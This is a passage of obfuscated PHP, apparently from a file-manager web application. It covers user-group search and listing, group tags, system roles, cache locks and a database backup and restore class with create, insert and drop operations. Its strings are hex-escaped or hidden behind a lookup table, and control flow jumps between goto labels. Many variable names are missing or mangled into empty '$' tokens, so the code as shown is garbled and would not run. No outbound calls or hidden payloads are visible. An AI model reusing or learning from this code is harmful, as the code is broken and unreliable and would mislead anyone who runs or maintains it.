listSearch($Д) { $ӥų =& $_SERVER[̧]; $˻ = $Д[$ӥų[1945]]; $ِ = isset($Д[$ӥų[1946]]) ? $Д[$ӥų[1946]] : !1; if (!trim($˻)) { return !1; } $˻ = str_replace($ӥų[1947], $ӥų[1948], $˻); $ = array($ӥų[1851] => array($ӥų[412], "{$˻}\45"), $ӥų[32] => array($ӥų[412], "\45{$˻}\45"), $ӥų[1020] => $ӥų[1949]); if ($ِ) { $ = $this->getInfoSimple($ِ); $ = $[$ӥų[549]] . $ِ . $ӥų[579]; $ = array($, array($ӥų[549] => array($ӥų[412], $))); } $ = $this->parseWhereLike($); $߆ = $this->_makeOrder()->where($)->selectPage(20); $߆ = $߆ ? $߆ : array($ӥų[398] => array(), $ӥų[395] => array()); if (!$߆ || count($߆[$ӥų[398]]) < 5 && Input::check($˻, $ӥų[347])) { $ = $this->groupChildrenAll($ِ); $ = $this->_searchFromMeta($ӥų[502], $˻, 10, $); $ = $this->_searchFromMeta($ӥų[503], $˻, 10, $); $ = array_merge($, $, $߆[$ӥų[398]]); $߆[$ӥų[398]] = array_unique_by_key($, $ӥų[1851]); $߆[$ӥų[395]][$ӥų[396]] = count($߆[$ӥų[398]]); $߆[$ӥų[395]][$ӥų[397]] = ceil($߆[$ӥų[395]][$ӥų[396]] / $߆[$ӥų[395]][$ӥų[392]]); } $this->_listDataApply($߆[$ӥų[398]]); return $߆; } protected function groupChildrenAll($) { $А =& $_SERVER[̧]; if (!$) { return !1; } if (is_string($)) { $ = array($); } $ = $; foreach ($ as $Īߘ) { $ = $this->getInfoSimple($Īߘ); $ = array($А[549] => array($А[412], $[$А[549]] . $Īߘ . $А[579])); $䩉 = $this->field($А[1851])->where($)->select(); $ = array_merge($, array_to_keyvalue($䩉, $А[12], $А[1851])); } return array_unique($); } private function _searchFromMeta($ۺ, $ъƛ, $, $˥) { $ѷر =& $_SERVER[̧]; $ъƛ = strtolower($ъƛ); $ = array($ѷر[94] => $ۺ, $ѷر[403] => array($ѷر[412], "\x25{$ъƛ}\x25")); $ = $this->parseWhereLike($); if ($˥) { $[$ѷر[1851]] = array($ѷر[7], $˥); } $ = Model($ѷر[1950])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ѷر[12], $ѷر[1851]); $ = $this->where(array($ѷر[1939] => array($ѷر[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($ݷ̆) { $ = array($ݷ̆); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[̧]; if (!$) { return; } $ = array_to_keyvalue($, $[12], $[1851]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $ϑ =& $_SERVER[̧]; $ = array_to_keyvalue($, $ϑ[12], $ϑ[1851]); $ = array($ϑ[470] => array($ϑ[7], $)); $՞ = array($ϑ[470], $ϑ[1951] => $ϑ[529]); $ڻ = $this->field($՞)->where($)->group($ϑ[470])->select(); $ѹ = array_to_keyvalue($ڻ, $ϑ[470], $ϑ[529]); foreach ($ as &$) { $ˉ = $[$ϑ[1851]]; $[$ϑ[1952]] = isset($ѹ[$ˉ]) ? intval($ѹ[$ˉ]) : !1; } unset($); } private function _listAppendChildrenMember(&$Ѓ) { $ō =& $_SERVER[̧]; $݊ = array_to_keyvalue($Ѓ, $ō[12], $ō[1851]); $փͭ = array($ō[1851] => array($ō[7], $݊)); $ŧ = array($ō[1851], $ō[1951] => $ō[529]); $Ԑܾ = Model($ō[1941])->field($ŧ)->where($փͭ)->group($ō[1851])->select(); $ = array_to_keyvalue($Ԑܾ, $ō[1851], $ō[529]); foreach ($Ѓ as &$˝) { $ = $˝[$ō[1851]]; $˝[$ō[1953]] = isset($[$]) ? intval($[$]) : !1; } unset($˝); } private function _listAppendMeta(&$, $) { $ƍأ =& $_SERVER[̧]; $Γ = array($ƍأ[1851] => array($ƍأ[7], $)); $đȭ = Model($ƍأ[1940])->where($Γ)->select(); $đȭ = array_to_keyvalue_group($đȭ, $ƍأ[1851]); foreach ($đȭ as &$) { $ = array_to_keyvalue($, $ƍأ[94], $ƍأ[403]); } unset($); foreach ($ as &$˥) { $˥[$ƍأ[504]] = array(); if (isset($đȭ[$˥[$ƍأ[1851]]])) { $˥[$ƍأ[504]] = $đȭ[$˥[$ƍأ[1851]]]; } } unset($˥); } protected function parentLevelArray($苯) { $ =& $_SERVER[̧]; $苯 = explode($[50], trim($苯, $[50])); $苯 = array_remove_value($苯, $[198]); return $苯; } protected function parentInGroup($Г, $๕) { $ә =& $_SERVER[̧]; $ٖ‡ = $this->getInfoSimple($Г); if (!$ٖ‡) { return !0; } $ = $this->parentLevelArray($ٖ‡[$ә[549]]); $[] = $Г; foreach ($ as $Г) { if (in_array($Г . $ә[12], $๕)) { return !0; } } return !1; } private function _listAppendParent(&$쉲ݫ) { $ԴŎ =& $_SERVER[̧]; $󫒁 = array(); foreach ($쉲ݫ as &$) { $󫒁[$[$ԴŎ[1851]]] = $[$ԴŎ[32]]; $ = $this->parentLevelArray($[$ԴŎ[549]]); foreach ($ as $) { if (!isset($󫒁[$])) { $󫒁[$] = 0; } } } unset($); foreach ($󫒁 as $ => $) { if ($) { continue; } $ʸ = $this->getInfoSimple($); $󫒁[$] = $ʸ[$ԴŎ[32]]; } $γ = $GLOBALS[$ԴŎ[6]][$ԴŎ[89]][$ԴŎ[1954]]; if ($GLOBALS[$ԴŎ[532]] == $ԴŎ[88]) { $γ = !1; } foreach ($쉲ݫ as &$) { $ = $this->parentLevelArray($[$ԴŎ[549]]); $ķ = $ԴŎ[12]; foreach ($ as $ => $) { if ($γ && $ == 0) { continue; } $ķ .= $󫒁[$] . $ԴŎ[8]; } if ($) { $ķ .= $[$ԴŎ[32]]; } $[$ԴŎ[554]] = str_replace($ԴŎ[557], $ԴŎ[8], $ķ); } unset($); } private function _listAppendSourceRoot(&$…, $) { $ϼ =& $_SERVER[̧]; $̯ = Model($ϼ[845])->listSourceRoot(SourceModel::TYPE_GROUP, $); $̯ = array_to_keyvalue($̯, $ϼ[534]); $̯ = array_remove_key($̯, $ϼ[534]); foreach ($… as &$) { $[$ϼ[87]] = $̯[$[$ϼ[1851]]] ? $̯[$[$ϼ[1851]]] : array(); } unset($); } protected function groupMerge($ߠ) { $ߠ = array_values(array_unique($ߠ)); $Ւښ = array(); for ($ = 0; $ < count($ߠ); $++) { $ƺߔ = !1; for ($ӏ = 0; $ӏ < count($ߠ); $ӏ++) { if ($ == $ӏ) { continue; } if ($this->isParentOf($ߠ[$ӏ], $ߠ[$])) { $ƺߔ = !0; break; } } if (!$ƺߔ) { $Ւښ[] = $ߠ[$]; } } return $Ւښ; } protected function isParentOf($, $) { $ˀ޺ =& $_SERVER[̧]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $ێ䳎 = $this->getInfoSimple($); $ = $[$ˀ޺[549]] . $ . $ˀ޺[50]; if (substr($ێ䳎[$ˀ޺[549]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($և, $ɩ = false) { $а =& $_SERVER[̧]; $藍 = $this->getInfo($և); if (!$藍) { return array(); } $ = $this->parentLevelArray($藍[$а[549]]); $ = array($և); if (count($) == 0) { return $; } if ($ɩ && count($) == 1) { return $; } if (!$藍[$а[504]] || !isset($藍[$а[504]][$а[1937]]) || $藍[$а[504]][$а[1937]] == $а[1906]) { return $this->groupShowRoot($[count($) - 1], $ɩ); } if ($藍[$а[504]][$а[1937]] == $а[386]) { $ל = explode($а[50], $藍[$а[504]][$а[1938]]); if ($ל) { $ = array_merge($, $ל); } } return $; } protected function resetParentLevel() { $պ =& $_SERVER[̧]; $Ԯ = $պ[1851]; $ߦ = $this->select(); $ߦ = array_to_keyvalue($ߦ, $Ԯ); foreach ($ߦ as $) { $ = $; $ߍ = array(); while ($[$պ[470]] != 0) { $ߍ[] = $[$պ[470]]; $ = $ߦ[$[$պ[470]]]; } $ߍ[] = 0; $ߍ = $պ[50] . implode($պ[50], array_reverse($ߍ)) . $պ[50]; $this->setNamePinyin($[$Ԯ], $[$պ[32]]); $this->where(array($Ԯ => $[$Ԯ]))->save(array($պ[618] => $ߍ)); } return $ߦ; } public function groupNameAuto($ț, $ǥ) { $ =& $_SERVER[̧]; $ = $this->where(array($[439] => $ț))->getField($[32], !0); if (!$ || !in_array($ǥ, $)) { return $ǥ; } for ($ = 1; $ <= count($) + 1; $++) { $± = $ǥ . "\50{$}\x29"; if (!in_array($±, $)) { return $±; } } } public function groupSwitch($ԥ, $) { $ =& $_SERVER[̧]; $庎 = array($[1851] => array($[7], array($ԥ, $))); $ = $this->where($庎)->select(); $ = array_to_keyvalue($, $[1851]); if (!isset($[$ԥ]) || !isset($[$]) || $[$ԥ][$[470]] == 0) { return !1; } $庎 = array($[1851] => $ԥ); $ = Model($[1941])->where($庎)->select(); if (!$) { $ = array(); } foreach ($ as $) { $Ɖ = $[$[1661]]; $庎 = array($[1661] => $Ɖ, $[1851] => $); $ؔ = Model($[1941])->where($庎)->find(); if (!$ؔ) { $賩҉ = array($ => $[$[1955]]); Model($[563])->userGroupAdd($Ɖ, $賩҉); } Model($[563])->userGroupRemove($Ɖ, $ԥ); } $庎 = array($[449] => 2, $[470] => 0, $[448] => 1, $[534] => array($[7], array($ԥ, $))); $ = Model($[845])->where($庎)->field($[1956])->select(); $ = array_to_keyvalue($, $[534], $[440]); $閧 = !empty($[$ԥ]) ? $[$ԥ] : !1; if ($閧) { if (!$[$]) { $[$] = Model($[845])->groupRootAdd($); } $ߊ = $[$]; $庎 = array($[470] => $閧); $ = Model($[845])->where($庎)->field($[1957])->select(); if (!$) { $ = array(); } Model($[845])->moveClearAuth = !1; foreach ($ as $ن) { $ = $ن[$[448]] == $[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[845])->move($ن[$[440]], $ߊ, $); } Model($[845])->moveClearAuth = !0; $庎 = array($[449] => 2, $[534] => $ԥ); $ = array($[534] => $); Model($[1958])->where($庎)->save($); Model($[1959])->where($庎)->save($); } $this->_changeChildLevel($[$ԥ], $[$], !0); $this->where(array($[470] => $ԥ))->save(array($[470] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\162\137\x66\141\166"; protected function cacheFunctionAlias($ۮ) { $ع =& $_SERVER[̧]; return array($ع[1960] => array($ۮ[0], $ع[1961]), $ع[1962] => array($ۮ[0], $ع[1963])); } protected function get($) { $⶯ =& $_SERVER[̧]; $ = Model($⶯[550])->metaGet($, $⶯[1964]); $ = json_decode($, !0); return $ ? $ : array($⶯[1965] => $⶯[88], $⶯[398] => array()); } protected function set($ޤ, $) { $ =& $_SERVER[̧]; $ = $ ? $ : array($[1965] => $[88], $[398] => array()); return Model($[550])->metaSet($ޤ, $[1964], json_encode($)); } protected function getByTagID($, $) { $ =& $_SERVER[̧]; if (!$ || !$) { return !1; } if (!Model($[550])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$[398]])) { return !1; } $ = array_find_by_field($[$[398]], $[437], $); return is_array($) ? $ : !1; } public function listSource($á, $) { $塚 =& $_SERVER[̧]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($á); $ = array(); foreach ($ as $) { $ = $[$塚[84]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$塚[464]]; } $ѵ౲ = array(); foreach ($ as $ڳ => $͇) { $ = !0; if (!$) { $ѵ౲[] = $ڳ; continue; } foreach ($ as $ٌ) { if (!in_array($ٌ, $͇)) { $ = !1; break; } } if ($) { $ѵ౲[] = $ڳ; } } if (!$ѵ౲) { return array(); } $ = array($塚[455] => array($塚[456], $ѵ౲), $塚[534] => $á, $塚[449] => SourceModel::TYPE_GROUP); $ = Model($塚[1353])->listSource($); if (!$ || count($ѵ౲) == $[$塚[395]][$塚[396]]) { return $; } $ɵ = array(); $ = array_to_keyvalue($[$塚[82]], $塚[12], $塚[440]); $䀪 = array_to_keyvalue($[$塚[83]], $塚[12], $塚[440]); $ = array_merge($䀪, $); foreach ($ѵ౲ as $) { if (!in_array($, $)) { $ɵ[] = $; } } if ($ɵ) { $this->removeBySource($á, $ɵ); } return $; } protected function listData($蚔) { $Ȏ =& $_SERVER[̧]; $ȥ = array($Ȏ[1652] => 0, $Ȏ[521] => array($Ȏ[1966], 0), $Ȏ[460] => $Ȏ[1967] . $蚔); $֖ = $Ȏ[1968]; $ۡ˗ = $this->field($֖)->where($ȥ)->order($Ȏ[1969])->select(); return $ۡ˗ ? $ۡ˗ : array(); } protected function addToTag($ʝ, $ׅ, $) { $ =& $_SERVER[̧]; if (!$this->getByTagID($ʝ, $) || !$ׅ) { return !1; } if (!Model($[845])->pathInfo($ׅ)) { return !1; } $´ۧ = array($[1652] => 0, $[521] => $, $[459] => $ׅ, $[460] => $[1970] . $ʝ, $[458] => $[12], $[1855] => 0); if ($this->where($´ۧ)->find()) { return !1; } return $this->add($´ۧ); } protected function removeFromTag($, $, $͓) { $ =& $_SERVER[̧]; if (!$this->getByTagID($, $͓) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1652] => 0, $[521] => $͓, $[460] => $[1970] . $, $[459] => $); return $this->where($)->delete(); } protected function removeByTag($, $) { $ǝ =& $_SERVER[̧]; if (!$this->getByTagID($, $)) { return !1; } $ = array($ǝ[1652] => 0, $ǝ[521] => $, $ǝ[460] => $ǝ[1970] . $); return $this->where($)->delete(); } protected function removeBySource($⊫, $Ϧ) { $ =& $_SERVER[̧]; if (!$⊫ || !$Ϧ) { return !1; } if (is_array($Ϧ)) { $Ϧ = array($[7], $Ϧ); } $ÒɌ = array($[1652] => 0, $[459] => $Ϧ, $[521] => array($[1034], 0), $[460] => $[1970] . $⊫); return $this->where($ÒɌ)->delete(); } } goto aΈ; a홊: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\163\x74\x65\x6d\137\x6f\160\164\151\157\x6e"; protected $jsonField = array("\x6d\145\156\x75", "\x72\157\154\145", "\162\x6f\154\145\107\x72\157\x75\160", "\162\145\x67\x69\163\164", "\145\x6d\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($ȁ) { return "\123\x79\x73\x74\145\x6d\117\x70\164\151\157\156\137{$ȁ}"; } protected function optionDefault($ = '') { $͞؍ =& $_SERVER[̧]; if ($ == $͞؍[12]) { return $GLOBALS[$͞؍[6]][$͞؍[410]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\x65\x6d\56\x72\157\x6c\145\114\151\163\x74"; public $field = array("\x6e\x61\x6d\145", "\141\165\x74\150", "\x6c\x61\142\x65\154", "\144\151\163\x70\x6c\x61\x79", "\163\x79\x73\164\x65\x6d", "\144\x65\x73\143", "\x69\x67\x6e\x6f\x72\145\105\x78\x74", "\151\147\x6e\157\x72\145\x46\151\154\x65\123\151\172\x65", "\x61\144\x6d\x69\156\151\x73\x74\162\141\164\157\x72", "\x73\x6f\162\164"); public function listData($놚 = false, $ = "\x73\157\x72\164", $ = false) { $ =& $_SERVER[̧]; $ = parent::listData($놚, $, $); if (!$놚) { foreach ($ as $ų => $ꃒ) { if ($ꃒ[$[2053]] == 1) { $[$ų][$[491]] = LNG($[2290]); } } } return $; } public function update($, $Á) { $ŝ =& $_SERVER[̧]; $Љ = parent::listData($); $ = $this->findByName($Á[$ŝ[32]]); if (!$Љ || $ && $[$ŝ[437]] != $Љ[$ŝ[437]]) { return !1; } if ($[$ŝ[2053]] == 1) { $Á = array($ŝ[32] => $Á[$ŝ[32]], $ŝ[1874] => $Á[$ŝ[1874]]); } $this->filterAuth($Á[$ŝ[451]]); return parent::update($, $Á); } public function remove($ʐ) { $ = parent::listData($ʐ); if (!$ || $[$_SERVER[̧][1307]]) { return !1; } return parent::remove($ʐ); } public function add($ۀ) { $ =& $_SERVER[̧]; $ܶ = $ۀ[$[32]]; if ($this->findByName($ܶ)) { return !1; } $؟ = array($[458] => $ܶ, $[1857] => $[12], $[1853] => $[1861], $[2291] => 1, $[1856] => 0, $[2292] => 0, $[1855] => $this->getSort()); $ۀ = array_merge($؟, $ۀ); $this->filterAuth($ۀ[$[451]]); return parent::insert($ۀ); } private function getSort() { $ =& $_SERVER[̧]; $ = parent::listData(); $Ґ = array_to_keyvalue($, $[12], $[1875]); return empty($Ґ) ? 0 : max($Ґ) + 1; } private function filterAuth(&$钬) { $ܻ =& $_SERVER[̧]; $շ歈 = array(); $Ş = array_filter(explode($ܻ[50], $钬)); foreach ($Ş as $钬) { $Ë = explode($ܻ[10], $钬); if ($Ë[0] == $ܻ[2293] && $Ë[1] != $ܻ[1210]) { $ = $Ë[0] . $ܻ[10] . $Ë[1] . $ܻ[2294]; if (!in_array($, $Ş)) { $շ歈[] = $; } } $շ歈[] = $钬; } $钬 = implode($ܻ[50], $շ歈); } public function findRoleDefault() { $ =& $_SERVER[̧]; $毕ҳ = parent::listData(); $ƃ = !1; foreach ($毕ҳ as $ꤳ) { if (!$ꤳ || $ꤳ[$[1873]] == $[198] || $ꤳ[$[2053]] == 1) { continue; } if (strstr($ꤳ[$[451]], $[2295])) { continue; } if (!strstr($ꤳ[$[451]], $[2296])) { continue; } if (!$ƃ) { $ƃ = $ꤳ; continue; } $ڥ = explode($[50], $ƃ[$[451]]); $ = explode($[50], $ꤳ[$[451]]); if (count($ڥ) > count($)) { $ƃ = $ꤳ; } } return $ƃ ? $ƃ[$[437]] : $[12]; } public function sort($邲, $) { return parent::update($邲, $); } } goto cʻ; c܏ұ: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[̧]; if (self::$handle) { return self::$handle; } $ɺɮ = $GLOBALS[$[6]][$[378]]; self::$timeout = $ɺɮ[$[860]] ? $ɺɮ[$[860]] : 10; $޿Լ = _get($GLOBALS[$[6]], $[861]); $ϒ = $ɺɮ[$[847]] ? $ɺɮ[$[847]] : $[200]; if ($ϒ == $[21] && $޿Լ == $[13]) { $ϒ = $[200]; } switch ($ϒ) { case $[850]: self::$handle = new CacheLockRedis(); break; case $[851]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[200]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[862], $[863]); } return self::$handle; } private static function key($ꐕǞ) { return $_SERVER[̧][864] . Cache::key($ꐕǞ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($յ̾ = '') { self::$errorMsg = $յ̾; } public static function lockGlobal($ȃӸ, $ٽ) { return self::lock($ȃӸ, $ٽ, !0); } public static function lock($, $ = false, $ = false) { $ә =& $_SERVER[̧]; $ġ = self::init(); $ = self::key($); $ = $ ? $ : self::$timeout; $ȿ = timeFloat(); $ = $ġ->lock($, $); $ = timeFloat(); if (!$) { $ = "\x6c\x6f\143\x6b\40\145\162\162\157\162\x3b\153\x65\171\x3d{$}\x3b\x74\151\155\x65\x3d{$}\x3b" . self::$errorMsg . $ә[71] . get_caller_msg(); $ƭ = LNG($ә[865]) . "\x28{$}\163\x29\x2e" . LNG($ә[866]); $ƭ .= $ә[867]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ƭ = $ƭ . $ә[868] . self::$errorMsg; } write_log($ә[869] . sprintf($ә[870], timeFloat() - $ȿ) . $ә[871] . $ . $ә[872] . error_get_last(), $ә[863]); show_json($ƭ, !1); } if (!$) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $܃ = number_format(timeFloat() - $, 3); write_log($ә[873] . $ . $ә[874] . $܃, $ә[863]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($皯) { $ =& $_SERVER[̧]; $׶ = self::key($皯); self::$lockItem[$׶] = null; self::init()->unlock($׶); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[875] . $皯, $[863]); } return; } public static function unlockRuntime() { $Ἣ =& $_SERVER[̧]; $ӱ = self::init(); $ѭ = !1; foreach (self::$lockItem as $΃ => $ۜ) { if (!$ۜ) { continue; } $ӱ->unlock($΃); if (!$ѭ) { $ѭ = !0; write_log($Ἣ[876] . $΃ . $Ἣ[71] . get_caller_msg(), $Ἣ[863]); continue; } write_log($Ἣ[876] . $΃, $Ἣ[863]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($Ἣ[877] . $ . $Ἣ[878] . ACTION, $Ἣ[863]); } } public static function fileLock($) { $񇲽 =& $_SERVER[̧]; if (!$GLOBALS[$񇲽[879]]) { $GLOBALS[$񇲽[879]] = array(); } $GLOBALS[$񇲽[879]][$] = !1; $ْ = fopen(DATA_PATH . $ . $񇲽[880], $񇲽[881]); if (!$ْ) { return !1; } $GLOBALS[$񇲽[879]][$] = $ْ; if (flock($ْ, LOCK_EX)) { return !0; } self::unlock($); show_json($񇲽[882], !1); return !1; } public static function fileUnlock($𜖃) { $֜ =& $_SERVER[̧]; $񚑙 = $GLOBALS[$֜[879]][$𜖃]; if (!$񚑙) { return; } $GLOBALS[$֜[879]][$𜖃] = !1; flock($񚑙, LOCK_UN); fclose($񚑙); } public static function fileUnlockAll() { $ =& $_SERVER[̧]; if (!$GLOBALS[$[879]]) { return; } foreach ($GLOBALS[$[879]] as $Ӄ۶ => $۲) { if (!$۲) { continue; } $GLOBALS[$[879]][$Ӄ۶] = !1; flock($۲, LOCK_UN); fclose($۲); } $GLOBALS[$[879]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $˟ =& $_SERVER[̧]; $ = $GLOBALS[$˟[6]][$˟[378]]; self::$cachePath = $[$˟[200]][$˟[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($Կ̼, $ = 0) { $ē =& $_SERVER[̧]; $ = microtime(!0); $ = $ + $ + 0.0001; $䦆 = rtrim(self::$cachePath, $ē[8]) . $ē[883] . md5($Կ̼) . $ē[880]; if (file_exists($䦆) && filemtime($䦆) && filemtime($䦆) < time() - 10) { @unlink($䦆); } do { if (file_exists($䦆)) { cacheLockWait(); continue; } $͢ = fopen($䦆, $ē[884]); if (!$͢) { return !1; } $輵 = flock($͢, LOCK_EX | LOCK_NB); self::$caches[$Կ̼] = array($ē[885] => $͢, $ē[200] => $䦆); fwrite($͢, $); clearstatcache(); if ($͢ && $輵) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($Կ̼); return !1; } public function lockGet($) { $ =& $_SERVER[̧]; $ = rtrim(self::$cachePath, $[8]) . $[883] . md5($) . $[880]; return file_exists($); } public function unlock($𥌕) { $ =& $_SERVER[̧]; $ټ = self::$caches[$𥌕]; if (!$ټ) { return; } @flock($ټ[$[885]], LOCK_UN); @fclose($ټ[$[885]]); @unlink($ټ[$[200]]); unset(self::$caches[$𥌕]); } } goto dφ; fӈ: class DbManage { function __construct($ۧ = array()) { $Ϝ =& $_SERVER[̧]; if (empty($ۧ)) { $ۧ = $GLOBALS[$Ϝ[6]][$Ϝ[21]]; } $this->database = $ۧ; } public function model($ = '') { return new ModelBase($, $_SERVER[̧][12], $this->database); } public function db($ڱ = false) { $ =& $_SERVER[̧]; $ﭪ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$ڱ) { return $this->model()->db(); } $Ĵ = $ﭪ[$[992]]; $ﭪ[$[992]] = $[12]; if ($ﭪ[$[987]] == $[984]) { $ = $ﭪ[$[993]]; $ﭪ[$[993]] = substr($, 0, strrpos($, $[1079])); } $this->database = $ﭪ; $ѽ = $this->model()->db(); try { $ = $ѽ->execute("\x73\150\x6f\x77\40\144\141\164\x61\142\x61\163\x65\x73\40\x6c\x69\153\x65\40\47{$Ĵ}\47"); } catch (Exception $͝) { } if (!$) { $ѽ->execute("\x63\x72\145\141\164\145\40\144\x61\x74\141\142\141\x73\x65\x20\140{$Ĵ}\140"); } $ﭪ[$[992]] = $Ĵ; if ($ﭪ[$[987]] == $[984]) { $ﭪ[$[993]] .= $[1079] . $Ĵ; } $this->database = $ﭪ; $ѽ->execute("\165\x73\145\x20\x60{$Ĵ}\140"); return $ѽ; } public function createTable($, &$æϜ) { $է =& $_SERVER[̧]; if (!IO::exist($)) { ActionCall($է[1080], !0, 0); show_json(LNG($է[1081]), !1); } $άɜݣ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ = stripos($, $է[1082]) === 0; if ($) { $æϜ->task[$է[806]] += 1; } $άɜݣ->execute($); if ($) { preg_match($է[1083], $, $㑚); $æϜ->task[$է[1084]] = $㑚[1]; $æϜ->update(1); } } } public function insertTable($, &$Ȯ) { $ =& $_SERVER[̧]; $ = $this->model()->db(); $誃 = $ ? array($) : $->getTables(); foreach ($ as $) { $ = basename($, $[808]); if (!in_array($, $誃)) { continue; } $Ȯ->task[$[1084]] = $; if (get_filesize($) == 0) { continue; } $ʉ = $this->sqlToDb($, $Ȯ); if (!$ʉ) { ActionCall($[1080], !0, 0); show_json(LNG($[1085]) . "\x5b{$}\x5d", !1); } } } public function sqlFromDb($ڃ, $ˇ, &$, $ۑ = '') { if ($) { $->task[$_SERVER[̧][1084]] = $ڃ; } $ = $this->model($ڃ); $ = 0; $ג = 0; $ = 10000; $ = fopen($ˇ, $_SERVER[̧][1086]); $ݘ = $->getPk(); $֪͵ = $->getDbFields(); $ = $_SERVER[̧][12]; if ($GLOBALS[$_SERVER[̧][807]] && in_array($ڃ, array($_SERVER[̧][1087], $_SERVER[̧][1088]))) { $ = $ڃ; } do { $Ķ = array($ݘ => array($_SERVER[̧][1034], $ג)); $ǎ = $->where($Ķ)->field($֪͵)->order($ݘ . $_SERVER[̧][1089])->limit($)->select(); $ǎ = !empty($ǎ) ? $ǎ : array(); if (!($˶ = count($ǎ))) { break; } $ԛ = end($ǎ); $ג = $ԛ[$ݘ]; $ʴ = array(); foreach ($ǎ as $ܭ) { if ($) { if ($ڃ == $_SERVER[̧][1087]) { if ($ܭ[$_SERVER[̧][33]] == $_SERVER[̧][1090]) { $֟ = json_decode($ܭ[$_SERVER[̧][403]], !0); if ($֟[$_SERVER[̧][32]] == $GLOBALS[$_SERVER[̧][807]] && $֟[$_SERVER[̧][770]] != 1) { continue; } } } else { if ($ܭ[$_SERVER[̧][33]] == $_SERVER[̧][1091] && $ܭ[$_SERVER[̧][94]] == $_SERVER[̧][799]) { continue; } } } if ($ۑ) { $ܭ[$_SERVER[̧][84]] = "\x7b\x69\x6f\x3a{$ۑ}\x7d" . substr($ܭ[$_SERVER[̧][84]], strlen("\x7b\x69\157\x3a{$ܭ[$_SERVER[̧][837]]}\x7d")); $ܭ[$_SERVER[̧][837]] = $ۑ; } $ʴ[] = $_SERVER[̧][1092] . $this->sqlEncode($ܭ) . $_SERVER[̧][1093]; } $ = "\111\x4e\123\x45\122\124\x20\111\x4e\124\x4f\x20\140{$ڃ}\140\x20\x28\x60" . implode($_SERVER[̧][1094], $֪͵) . $_SERVER[̧][1095]; fwrite($, $ . implode($_SERVER[̧][1096], $ʴ) . $_SERVER[̧][71] . PHP_EOL); $ += $˶; if ($) { $->update($˶); } } while ($ == $˶); fclose($); return $; } public function sqlToDb($Щ, &$) { $츣 =& $_SERVER[̧]; $ô = $this->model()->db(); $؝ = @fopen($Щ, $츣[1097]); if (!$؝) { return !1; } $٢ظ = 0; $؝ = $츣[12]; $ = array(); $Ӟ = $this->dbType(); $ς = $Ӟ == $츣[13] ? 500 : 2000; $ = basename($Щ, $츣[808]); $Ȫ = 0; $ɜ = 4194304 - 104858; $󰮟 = 1000000 - 104858; while (!feof($؝)) { $ƹ = trim(fgets($؝)); if (!$ƹ) { continue; } $ = $this->sqlDecode($ƹ, $Ӟ, $); if (stripos($, $츣[384]) === 0) { if (!$؝) { $؝ = $ . $츣[53]; } continue; } if ($) { $->task[$츣[806]] += 1; } $٢ظ++; $[] = rtrim(rtrim(trim($), $츣[50]), $츣[71]); $֓ = null; $ܫ߇ = strlen($); $Ȫ += $ܫ߇; if ($Ȫ >= ($ς == 500 ? $󰮟 : $ɜ)) { $֓ = array_pop($); if ($٢ظ > 1) { $٢ظ--; } } if ($٢ظ >= $ς || $֓) { $ = $؝ . implode($츣[50], $); if (!$ô->execute($)) { return !1; } if ($) { $->update($٢ظ); } $ = array(); $٢ظ = 0; $Ȫ = 0; if ($֓) { $ = array($֓); $٢ظ = 1; $Ȫ = $ܫ߇; } } } fclose($؝); if (!empty($)) { $ = $؝ . implode($츣[50], $); if (!$ô->execute($)) { return !1; } if ($) { $->update($٢ظ); } } return !0; } public function dropTable($۹ = null) { $ = $this->model()->db(); $ԗ = $۹ ? array($۹) : $->getTables(); if (!$ԗ) { return; } foreach ($ԗ as $۹) { if ($۹) { $۹ = strtolower($۹); } else { continue; } $->execute("\x64\162\157\160\40\164\x61\x62\x6c\x65\x20\x69\x66\x20\145\x78\x69\163\164\x73\x20\140{$۹}\140"); } } private function sqlEncode($֩) { $Ʒ =& $_SERVER[̧]; $ = array(); foreach ($֩ as $Ǿ́) { if (is_array($Ǿ́)) { $Ǿ́ = json_encode_force($Ǿ́); } $Ǿ́ = addslashes($Ǿ́); $Ǿ́ = str_replace(array($Ʒ[1098], $Ʒ[231]), array($Ʒ[1099], $Ʒ[1100]), $Ǿ́); $[] = str_replace($Ʒ[58], $Ʒ[1101], $Ǿ́); } return $Ʒ[58] . implode($Ʒ[1102], $) . 